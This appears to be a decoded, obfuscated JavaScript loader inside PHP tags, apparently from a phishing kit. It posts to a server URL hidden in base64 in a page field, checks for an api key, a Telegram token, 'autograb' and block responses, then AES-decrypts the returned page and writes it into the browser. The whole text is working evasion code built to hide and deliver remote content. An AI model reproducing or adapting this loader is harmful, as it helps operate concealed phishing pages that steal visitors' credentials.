PHP Decode

<?  var vb8fde9180037d09= document.createElement('script'); 
var autograb = 0; 
vb8fde9180037d09.setAttribute('src',atob("aHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuMS4xLm1pbi5qcw==")); 
document.head.append(vb8fde9180037d09); 
 
var v61527c8bdc540f11721c7bca3= document.createElement('script'); 
v61527c8bdc540f11721c7bca3.setAttribute('src',"https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"); 
document.head.append(v61527c8bdc540f11721c7bca3); 
 
vb8fde9180037d09.onload=function(){ 
$.support.cors = true 
var va9d3355b = atob; 
var vc263869dda63fc19f = "".split; 
var v344a54db8d454f166cdd9ea = [].constructor.constructor(va9d3355b("cmV0dXJuIENyeXB0b0pT")); 
var vcae774ed = va9d3355b($('#b64u').val()); 
$.post(vcae774ed,'scte='.concat('') + (autograb == 0 ? '&auto=false' : '') + '') 
	.done(function(vddff2af7){ 
	function v1649cc21(f){ 
			var O00O1II = vc263869dda63fc19f.apply(va9d3355b(f),[String.fromCharCode(42)]); 
			var O000111 = { 
				OO0O1II: O00O1II[0], 
				OO0OII1: O00O1II[2], 
				OOOOII1 : O00O1II[1], 
				OO0OIII: O00O1II[3], 
			}  
			var OOOOIII = v344a54db8d454f166cdd9ea().PBKDF2(O000111.OO0OIII, v344a54db8d454f166cdd9ea().enc.Hex.parse(O000111.OO0OII1), { hasher: v344a54db8d454f166cdd9ea().algo.SHA512, keySize: 64/8, iterations: 999}); 
			var O00O111 = v344a54db8d454f166cdd9ea().AES.decrypt(O000111.OO0O1II, OOOOIII, { iv: v344a54db8d454f166cdd9ea().enc.Hex.parse(O000111.OOOOII1)}); 
			return O00O111.toString(v344a54db8d454f166cdd9ea().enc.Utf8); 
	} 
     if(vddff2af7=='no'){ 
	   document.write('<h1>Please Get an api key to use this page</h1>') 
	 } 
	 else if(vddff2af7 == "outdated"){ 
		 document.write('<h1>Please get an updated  version of the page</h1>') 
	 } 
	 else if(vddff2af7 == 'token'){ 
		 document.write('Your telegram token not activated') 
	 } 
	 else if(/\{\"block\"\:/.test(vddff2af7)){ 
		 bad_res = JSON.parse(vddff2af7); 
		 if(bad_res.block){ 
			 document.write('<h1>You were not allowed, because of ' + bad_res.block + '</h1>') 
		 } 
	 } 
	 else{ 
		 try{ 
			 document.write(va9d3355b(v1649cc21(vddff2af7))); 
		 }catch(e){ 
			 document.write('<h1>Cannot write to page</h1>') 
		 } 
	 } 
	}) 
	.fail(function(cd,pg){ 
		document.write("<h1>Unable to connect , Server not found</h1>") 
	}) 
} ?>